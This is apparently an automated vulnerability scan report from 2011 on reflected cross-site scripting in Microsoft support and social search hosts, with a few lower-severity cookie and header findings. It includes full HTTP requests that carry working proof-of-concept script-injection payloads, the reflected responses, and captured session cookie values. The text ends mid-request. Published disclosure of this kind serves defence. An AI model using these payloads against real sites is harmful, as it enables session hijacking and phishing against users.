XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, support.microsoft.com

Report generated by XSS.CX at Thu Jul 21 18:33:16 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

1. Cross-site scripting (reflected)

XSS in support.microsoft.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://i1.services.social.microsoft.com/Search/Widgets/SearchBox.jss [name of an arbitrarily supplied request parameter]

1.2. http://i4.services.social.microsoft.com/Search/Widgets/SearchBox.jss [name of an arbitrarily supplied request parameter]

1.3. http://support.microsoft.com/ [name of an arbitrarily supplied request parameter]

2. Referer-dependent response

3. Cookie scoped to parent domain

4. Cross-domain Referer leakage

5. Cookie without HttpOnly flag set

6. Content type incorrectly stated

6.1. http://support.microsoft.com/library/images/support/CN/star.gif

6.2. http://support.microsoft.com/library/images/support/en-AU/delicious_16.png

6.3. http://support.microsoft.com/library/images/support/en-AU/reddit_16.png

6.4. http://support.microsoft.com/library/images/support/en-US/IE9_BG-img.jpg

6.5. http://support.microsoft.com/library/svy/SiteRecruit_PageConfiguration_2944mt.js



1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://i1.services.social.microsoft.com/Search/Widgets/SearchBox.jss [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://i1.services.social.microsoft.com
Path:   /Search/Widgets/SearchBox.jss

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload acf60<img%20src%3da%20onerror%3dalert(1)>60182d669cf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as acf60<img src=a onerror=alert(1)>60182d669cf in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /Search/Widgets/SearchBox.jss?boxid=SearchTextBox&btnid=SearchButton&brand=Technet&loc=en-US&resref=&addEnglish=&rn=&rq=&watermark=&focusOnInit=False&beta=0&iroot=&cver=1864.870%0d%0a&acf60<img%20src%3da%20onerror%3dalert(1)>60182d669cf=1 HTTP/1.1
Host: i1.services.social.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://social.technet.microsoft.com/profile
Cookie: WT_FPC=id=173.193.214.243-3409883184.30164746:lv=1311274320711:ss=1311274320699; MUID=1FDD375D440B439987A467BECD35D2C6; MSID=Microsoft.CreationDate=07/20/2011 18:28:20&Microsoft.LastVisitDate=07/21/2011 21:51:54&Microsoft.VisitStartDate=07/21/2011 21:51:54&Microsoft.CookieId=83f3d6dd-9e1a-4fc0-be7f-977f10276d9f&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=25&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0710-6455-2061-8144; MC1=GUID=7d82853ea5283f499a9e3add3769434b&HASH=3e85&LV=20117&V=3; A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!; omniID=1311187255305_231e_6145_d5f9_14f277e18b3d; WT_NVR_RU=0=technet:1=:2=; msdn=L=1033

Response

HTTP/1.1 200 OK
ntCoent-Length: 12968
Content-Type: application/x-javascript
ETag: 8858a98c55bf624168837b142b4eec18
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
P3P: CP=ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI
Server: CO1VB35
Content-Length: 12968
Cache-Control: public, max-age=43199
Expires: Fri, 22 Jul 2011 10:32:49 GMT
Date: Thu, 21 Jul 2011 22:32:50 GMT
Connection: close
Vary: Accept-Encoding


if (typeof epx_core === 'undefined') {
epx_loaded = false;
epx_core = function(s) {this.s = s;}
epx_core.prototype = {
exec: function(func, checkFunc, retry) {
if (retry) retry++; else retry =
...[SNIP]...
px_searchBox({"allowEmptySearch":false,"appId":"2","boxId":"SearchTextBox","btnId":"SearchButton","focusOnInit":false,"maxTerms":null,"minimumTermLength":4,"paramsCallback":null,"queryParams":"&beta=0&acf60<img src=a onerror=alert(1)>60182d669cf=1","scopeId":"9","searchLocation":"http:\/\/social.TechNet.microsoft.com\/Search\/en-US","serviceUri":"http:\/\/services.social.microsoft.com\/Search\/","sr":{"close":"Close","searchLabel":"Search Tec
...[SNIP]...

1.2. http://i4.services.social.microsoft.com/Search/Widgets/SearchBox.jss [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://i4.services.social.microsoft.com
Path:   /Search/Widgets/SearchBox.jss

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 69b76<img%20src%3da%20onerror%3dalert(1)>f44151e764e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 69b76<img src=a onerror=alert(1)>f44151e764e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /Search/Widgets/SearchBox.jss?boxid=SearchTextBox&btnid=SearchButton&brand=Technet&loc=en-US&resref=&addEnglish=&rn=&rq=&watermark=&focusOnInit=False&beta=0&iroot=&cver=1864.870%0d%0a&69b76<img%20src%3da%20onerror%3dalert(1)>f44151e764e=1 HTTP/1.1
Host: i4.services.social.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://social.technet.microsoft.com/Forums/en-us/categories/
Cookie: WT_FPC=id=173.193.214.243-3409883184.30164746:lv=1311274320711:ss=1311274320699; MUID=1FDD375D440B439987A467BECD35D2C6; MSID=Microsoft.CreationDate=07/20/2011 18:28:20&Microsoft.LastVisitDate=07/21/2011 21:51:54&Microsoft.VisitStartDate=07/21/2011 21:51:54&Microsoft.CookieId=83f3d6dd-9e1a-4fc0-be7f-977f10276d9f&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=25&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0710-6455-2061-8144; MC1=GUID=7d82853ea5283f499a9e3add3769434b&HASH=3e85&LV=20117&V=3; A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!; omniID=1311187255305_231e_6145_d5f9_14f277e18b3d; WT_NVR_RU=0=technet:1=:2=; msdn=L=1033; s_cc=true; s_sq=msstotn%2Cmsstotnprofile%2Cmsstoprofileroll%3D%2526pid%253Dsocial.technet%25253A/profile%2526pidt%253D1%2526oid%253Dhttp%25253A//social.technet.microsoft.com/Forums/en-us/categories/%2526ot%253DA

Response

HTTP/1.1 200 OK
ntCoent-Length: 12968
Content-Type: application/x-javascript
ETag: 42dd7fd6ea904041d8502fa947bc3ac1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
P3P: CP=ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI
Server: CO1VB30
Content-Length: 12968
Cache-Control: public, max-age=43200
Expires: Fri, 22 Jul 2011 10:33:40 GMT
Date: Thu, 21 Jul 2011 22:33:40 GMT
Connection: close
Vary: Accept-Encoding


if (typeof epx_core === 'undefined') {
epx_loaded = false;
epx_core = function(s) {this.s = s;}
epx_core.prototype = {
exec: function(func, checkFunc, retry) {
if (retry) retry++; else retry =
...[SNIP]...
px_searchBox({"allowEmptySearch":false,"appId":"2","boxId":"SearchTextBox","btnId":"SearchButton","focusOnInit":false,"maxTerms":null,"minimumTermLength":4,"paramsCallback":null,"queryParams":"&beta=0&69b76<img src=a onerror=alert(1)>f44151e764e=1","scopeId":"9","searchLocation":"http:\/\/social.TechNet.microsoft.com\/Search\/en-US","serviceUri":"http:\/\/services.social.microsoft.com\/Search\/","sr":{"close":"Close","searchLabel":"Search Tec
...[SNIP]...

1.3. http://support.microsoft.com/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://support.microsoft.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26f21"><script>alert(1)</script>e1a89417c4e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?LN=en-us&x=16&y=12&beda6%22%3E%3Cscript%3Ealert%28document.location%29%3C/script%3E48c13ff6e7a=1&26f21"><script>alert(1)</script>e1a89417c4e=1 HTTP/1.1
Host: support.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: WT_FPC=id=173.193.214.243-3409883184.30164746:lv=1311278145734:ss=1311276802720; MUID=1FDD375D440B439987A467BECD35D2C6; MSID=Microsoft.CreationDate=07/20/2011 18:28:20&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.VisitStartDate=07/21/2011 22:50:05&Microsoft.CookieId=83f3d6dd-9e1a-4fc0-be7f-977f10276d9f&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=27&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0710-6455-2061-8144; MC1=GUID=7d82853ea5283f499a9e3add3769434b&HASH=3e85&LV=20117&V=3; A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!; .ASPXANONYMOUS=W0oOZJ19zAEkAAAAMTNmNWQ0YWYtMWFmYi00MmRkLWE5ZTctZjcxMzgxMWMxNmYwVcfc0wIc5Uclgy4ZX_zjrptLOt81; omniID=1311187255305_231e_6145_d5f9_14f277e18b3d; WT_NVR_RU=0=technet:1=:2=; msdn=L=1033; s_cc=true; s_sq=msstotnprofile%2Cmsstoprofileroll%3D%2526pid%253Dsocial.technet%25253A/profile%2526pidt%253D1%2526oid%253Dhttp%25253A//social.technet.microsoft.com/Forums/en-us/categories/%2526ot%253DA; stotest=1; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=d6bd9979-339c-460f-b46e-a38b445acc90&Microsoft.CreationDate=07/21/2011 22:50:05&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.NumberOfVisits=2&SessionCookie.Id=399B03D3E803E184C85ECD00BC6D5B7C; MS0=f3f2728c424547eea3473ade4954b294

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: .ASPXANONYMOUS=I2Nxno1-zAEkAAAAYjA3YWNlMDUtNDgyNy00MzIyLTk1YWQtMjM0MzkxYWRlNWE0Sn1zvuQKlpxE3v1Q0MdF8Eo2nqA1; expires=Thu, 29-Sep-2011 09:53:20 GMT; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
ServerName: B07
PICS-Label: (pics-1.1 "http://www.icra.org/pics/vocabularyv03/" l r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0) "http://www.rsac.org/ratingsv01.html" l r (n 0 s 0 v 0 l 0))
Date: Thu, 21 Jul 2011 23:13:19 GMT
Content-Length: 70614

<html lang="en-US"><head><link title="Microsoft Support Search" type="application/opensearchdescription+xml" rel="search" href="/common/opensearchdescriptor.aspx?ln=en-us" /><meta name="ms.gsfxversion
...[SNIP]...
e-button" rel="nofollow" data-count="horizontal" data-lang="en" data-url="http://support.microsoft.com/?LN=en-us&x=16&y=12&beda6%22%3E%3Cscript%3Ealert%28document.location%29%3C/script%3E48c13ff6e7a=1&26f21"><script>alert(1)</script>e1a89417c4e=1" data-text="Microsoft Support">
...[SNIP]...

2. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://support.microsoft.com
Path:   /

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

GET /?LN=en-us&x=16&y=12&beda6%22%3E%3Cscript%3Ealert%28document.location%29%3C/script%3E48c13ff6e7a=1 HTTP/1.1
Host: support.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://support.microsoft.com/?LN=en-us&x=16&y=12&beda6%22%3E%3Cscript%3Ealert%28document.location%29%3C/script%3E48c13ff6e7a=1
Cookie: WT_FPC=id=173.193.214.243-3409883184.30164746:lv=1311279025048:ss=1311276802720; MUID=1FDD375D440B439987A467BECD35D2C6; MSID=Microsoft.CreationDate=07/20/2011 18:28:20&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.VisitStartDate=07/21/2011 22:50:05&Microsoft.CookieId=83f3d6dd-9e1a-4fc0-be7f-977f10276d9f&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=27&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0710-6455-2061-8144; MC1=GUID=7d82853ea5283f499a9e3add3769434b&HASH=3e85&LV=20117&V=3; A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!&GO=244; .ASPXANONYMOUS=W0oOZJ19zAEkAAAAMTNmNWQ0YWYtMWFmYi00MmRkLWE5ZTctZjcxMzgxMWMxNmYwVcfc0wIc5Uclgy4ZX_zjrptLOt81; omniID=1311187255305_231e_6145_d5f9_14f277e18b3d; WT_NVR_RU=0=technet:1=:2=; msdn=L=1033; s_cc=true; s_sq=msstotnprofile%2Cmsstoprofileroll%3D%2526pid%253Dsocial.technet%25253A/profile%2526pidt%253D1%2526oid%253Dhttp%25253A//social.technet.microsoft.com/Forums/en-us/categories/%2526ot%253DA; stotest=1; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=d6bd9979-339c-460f-b46e-a38b445acc90&Microsoft.CreationDate=07/21/2011 22:50:05&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.NumberOfVisits=2&SessionCookie.Id=399B03D3E803E184C85ECD00BC6D5B7C; MS0=f3f2728c424547eea3473ade4954b294; sdninc=1; gssSITE=gn; gssTHEME=gn; gssTOOLBAR=gn; gssLANG=en-us; wedcsinc=1

Response 1

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!&GO=244; domain=.microsoft.com; expires=Sun, 21-Jul-2041 23:10:21 GMT; path=/
X-Powered-By: ASP.NET
ServerName: B07
PICS-Label: (pics-1.1 "http://www.icra.org/pics/vocabularyv03/" l r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0) "http://www.rsac.org/ratingsv01.html" l r (n 0 s 0 v 0 l 0))
Date: Thu, 21 Jul 2011 23:10:20 GMT
Content-Length: 71654

<html lang="en-US"><head><link title="Microsoft Support Search" type="application/opensearchdescription+xml" rel="search" href="/common/opensearchdescriptor.aspx?ln=en-us" /><meta name="ms.gsfxversion
...[SNIP]...
<script type="text/javascript">setcookieval("gssLANG","en-us");</script><script type="text/javascript" src="/library/JavaScript/support/CN/MiscUtils.js?16" ></script><script type="text/javascript" src="/library/JavaScript/support/CN/AddFavorite.js?4" ></script><meta name="robots" content="" /><meta name="Search.Assets" content="0" /><meta name="Search.Title" content="Microsoft&#32;Support" /><meta name="Search.Description" content="The&#32;Microsoft&#32;Support&#32;home&#32;page&#32;is&#32;your&#32;support&#32;portal&#32;for&#32;Microsoft&#32;products.&#32;Download&#32;updates&#32;and&#32;find&#32;top&#32;issues,&#32;error&#32;messages,&#32;and&#32;troubleshooting&#32;tips&#32;for&#32;Windows&#32;XP,&#32;Windows&#32;Vista,&#32;Windows&#32;7,&#32;Office&#32;2010,&#32;the&#32;2007&#32;Microsoft&#32;Office&#32;system,&#32;and&#32;other&#32;Microsoft&#32;programs." /><meta name="msvalidate.01" content="4DA72E1C3A9447A3AD3782C64D267C4D" /><meta name="Search.KBParents" content="" /><meta name="Search.ContentType" content="gp" /><meta name="Description" content="The&#32;Microsoft&#32;Support&#32;home&#32;page&#32;is&#32;your&#32;support&#32;portal&#32;for&#32;Microsoft&#32;products.&#32;Download&#32;updates&#32;and&#32;find&#32;top&#32;issues,&#32;error&#32;messages,&#32;and&#32;troubleshooting&#32;tips&#32;for&#32;Windows&#32;XP,&#32;Windows&#32;Vista,&#32;Windows&#32;7,&#32;Office&#32;2010,&#32;the&#32;2007&#32;Microsoft&#32;Office&#32;system,&#32;and&#32;other&#32;Microsoft&#32;programs." /><meta name="MS.LOCALE" content="en" /><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta http-equiv="content-language" content="en-US"><script type="text/javascript" src="/library/JavaScript/support/CN/ad.js"></script><script type="text/javascript" src="/common/script/gsfx/search.js?43"></script><script type="text/javascript" src="http://autocomplete.support.microsoft.com/script/ac.js?43"></script><script type="text/javascript">var gCookieDomain='';var url_exactMatch='/select/Default.aspx?target=as
...[SNIP]...

Request 2

GET /?LN=en-us&x=16&y=12&beda6%22%3E%3Cscript%3Ealert%28document.location%29%3C/script%3E48c13ff6e7a=1 HTTP/1.1
Host: support.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: WT_FPC=id=173.193.214.243-3409883184.30164746:lv=1311279025048:ss=1311276802720; MUID=1FDD375D440B439987A467BECD35D2C6; MSID=Microsoft.CreationDate=07/20/2011 18:28:20&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.VisitStartDate=07/21/2011 22:50:05&Microsoft.CookieId=83f3d6dd-9e1a-4fc0-be7f-977f10276d9f&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=27&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0710-6455-2061-8144; MC1=GUID=7d82853ea5283f499a9e3add3769434b&HASH=3e85&LV=20117&V=3; A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!&GO=244; .ASPXANONYMOUS=W0oOZJ19zAEkAAAAMTNmNWQ0YWYtMWFmYi00MmRkLWE5ZTctZjcxMzgxMWMxNmYwVcfc0wIc5Uclgy4ZX_zjrptLOt81; omniID=1311187255305_231e_6145_d5f9_14f277e18b3d; WT_NVR_RU=0=technet:1=:2=; msdn=L=1033; s_cc=true; s_sq=msstotnprofile%2Cmsstoprofileroll%3D%2526pid%253Dsocial.technet%25253A/profile%2526pidt%253D1%2526oid%253Dhttp%25253A//social.technet.microsoft.com/Forums/en-us/categories/%2526ot%253DA; stotest=1; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=d6bd9979-339c-460f-b46e-a38b445acc90&Microsoft.CreationDate=07/21/2011 22:50:05&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.NumberOfVisits=2&SessionCookie.Id=399B03D3E803E184C85ECD00BC6D5B7C; MS0=f3f2728c424547eea3473ade4954b294; sdninc=1; gssSITE=gn; gssTHEME=gn; gssTOOLBAR=gn; gssLANG=en-us; wedcsinc=1

Response 2

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: .ASPXANONYMOUS=zFbUYo1-zAEkAAAAODcwYzhlZDAtMGE4Ny00ZjUxLWExYzMtMGQyMWFjMDNmMzNk9c_e7ccMBGmpNOAsE-_58FzbvGs1; expires=Thu, 29-Sep-2011 09:51:40 GMT; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=zFbUYo1-zAEkAAAAODcwYzhlZDAtMGE4Ny00ZjUxLWExYzMtMGQyMWFjMDNmMzNk9c_e7ccMBGmpNOAsE-_58FzbvGs1; expires=Thu, 29-Sep-2011 09:51:40 GMT; path=/; HttpOnly
Set-Cookie: A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!&GO=244; domain=.microsoft.com; expires=Sun, 21-Jul-2041 23:11:40 GMT; path=/
X-Powered-By: ASP.NET
ServerName: B07
PICS-Label: (pics-1.1 "http://www.icra.org/pics/vocabularyv03/" l r (n 0 s 0 v 0 l 0 oa 0 ob 0 oc 0 od 0 oe 0 of 0 og 0 oh 0 c 0) "http://www.rsac.org/ratingsv01.html" l r (n 0 s 0 v 0 l 0))
Date: Thu, 21 Jul 2011 23:11:39 GMT
Content-Length: 71889

<html lang="en-US"><head><link title="Microsoft Support Search" type="application/opensearchdescription+xml" rel="search" href="/common/opensearchdescriptor.aspx?ln=en-us" /><meta name="ms.gsfxversion
...[SNIP]...
<script type="text/javascript">setcookieval("gssSITE","gn",'',true);</script><script type="text/javascript">setcookieval("gssTHEME","gn",'',true);</script><script type="text/javascript">setcookieval("gssTOOLBAR","gn",'',true);</script><script type="text/javascript">setcookieval("gssLANG","en-us");</script><script type="text/javascript" src="/library/JavaScript/support/CN/MiscUtils.js?16" ></script><script type="text/javascript" src="/library/JavaScript/support/CN/AddFavorite.js?4" ></script><meta name="robots" content="" /><meta name="Search.Assets" content="0" /><meta name="Search.Title" content="Microsoft&#32;Support" /><meta name="Search.Description" content="The&#32;Microsoft&#32;Support&#32;home&#32;page&#32;is&#32;your&#32;support&#32;portal&#32;for&#32;Microsoft&#32;products.&#32;Download&#32;updates&#32;and&#32;find&#32;top&#32;issues,&#32;error&#32;messages,&#32;and&#32;troubleshooting&#32;tips&#32;for&#32;Windows&#32;XP,&#32;Windows&#32;Vista,&#32;Windows&#32;7,&#32;Office&#32;2010,&#32;the&#32;2007&#32;Microsoft&#32;Office&#32;system,&#32;and&#32;other&#32;Microsoft&#32;programs." /><meta name="msvalidate.01" content="4DA72E1C3A9447A3AD3782C64D267C4D" /><meta name="Search.KBParents" content="" /><meta name="Search.ContentType" content="gp" /><meta name="Description" content="The&#32;Microsoft&#32;Support&#32;home&#32;page&#32;is&#32;your&#32;support&#32;portal&#32;for&#32;Microsoft&#32;products.&#32;Download&#32;updates&#32;and&#32;find&#32;top&#32;issues,&#32;error&#32;messages,&#32;and&#32;troubleshooting&#32;tips&#32;for&#32;Windows&#32;XP,&#32;Windows&#32;Vista,&#32;Windows&#32;7,&#32;Office&#32;2010,&#32;the&#32;2007&#32;Microsoft&#32;Office&#32;system,&#32;and&#32;other&#32;Microsoft&#32;programs." /><meta name="MS.LOCALE" content="en" /><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta http-equiv="content-language" content="en-US"><script type="text/javascript" src="/library/JavaScript/support/CN/ad.js"></script><script type="text/javascript" src="/common/script/g
...[SNIP]...

3. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://support.microsoft.com
Path:   /

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /?LN=en-us&x=16&y=12&beda6%22%3E%3Cscript%3Ealert%28document.location%29%3C/script%3E48c13ff6e7a=1 HTTP/1.1
Host: support.microsoft.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: WT_FPC=id=173.193.214.243-3409883184.30164746:lv=1311278145734:ss=1311276802720; MUID=1FDD375D440B439987A467BECD35D2C6; MSID=Microsoft.CreationDate=07/20/2011 18:28:20&Microsoft.LastVisitDate=07/21/2011 22:55:40&Microsoft.VisitStartDate=07/21/2011 22:50:05&Microsoft.CookieId=83f3d6dd-9e1a-4fc0-be7f-977f10276d9f&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=27&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0710-6455-2061-8144; MC1=GUID=7d82853ea5283f499a9e3add3769434b&HASH=3e85&LV=20117&V=3; A=I&I=AxUFAAAAAADHCAAAdQ+MX09BAsRu9umGsxl6kw!!; .ASPXANONYMOUS=W0oOZJ19zAEkAAAAMTNmNWQ0YWYtMWFmYi00MmRkLWE5ZTctZjcxMzgxMWMxNmYwVcfc0wIc5Uclgy4ZX_zjrptLOt81; omniID=1311187255305_231e_6145_d5f9_14f277e18b3d; WT_NVR_RU=0=technet:1=:2=; msdn=L=1033; s_cc=true; s_sq=msstotnprofile%2Cmsstoprofileroll%3D%2526pid%253Dsocial.technet%25253A/profile%2526pidt%253D1%2526oid%253Dhttp%25253A//social.technet.microsoft.com/Forums/en-us/categories/%2526ot%253DA; stotest=1; MICROSOFTSESSIONCOOKIE=Microsoft.CookieId=d6bd9979-339c-460f-b46e-a38b445acc90&Microsoft.CreationDate=07/21/2011 22:50:05&Microsoft.LastVisitDate=07/21/2011 